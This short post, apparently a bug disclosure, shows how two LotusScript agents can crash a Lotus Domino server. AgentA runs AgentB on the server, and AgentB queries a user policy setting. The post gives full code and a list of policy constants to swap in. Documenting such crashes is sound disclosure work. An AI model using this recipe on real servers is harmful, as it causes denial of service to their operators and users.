How to bring down a Domino Server with 4 lines of LotusScript.
This assumes you have organisational policies in your address book. If not then it won’t work.
-
Create 2 LotusScript agents in any database on your server. Both with Target = “None”.
-
The first is called AgentA and contains the following code…
Dim session As New NotesSession
session.CurrentDatabase.GetAgent({AgentB}).RunOnServer
- The second is called AgentB and contains the following code…
Dim session As New NotesSession
Msgbox session.GetUserPolicySettings({}, session.EffectiveUserName, POLICYSETTINGS_REGISTRATION).Signer
- If you have organisational policies but you don’t have a registration policy then change the code above to use a policy you do have.
POLICYSETTINGS_ARCHIVE
POLICYSETTINGS_DESKTOP
POLICYSETTINGS_REGISTRATION
POLICYSETTINGS_SECURITY
POLICYSETTINGS_SETUP
-
Run AgentA
-
Ka-Boom, bye-bye server.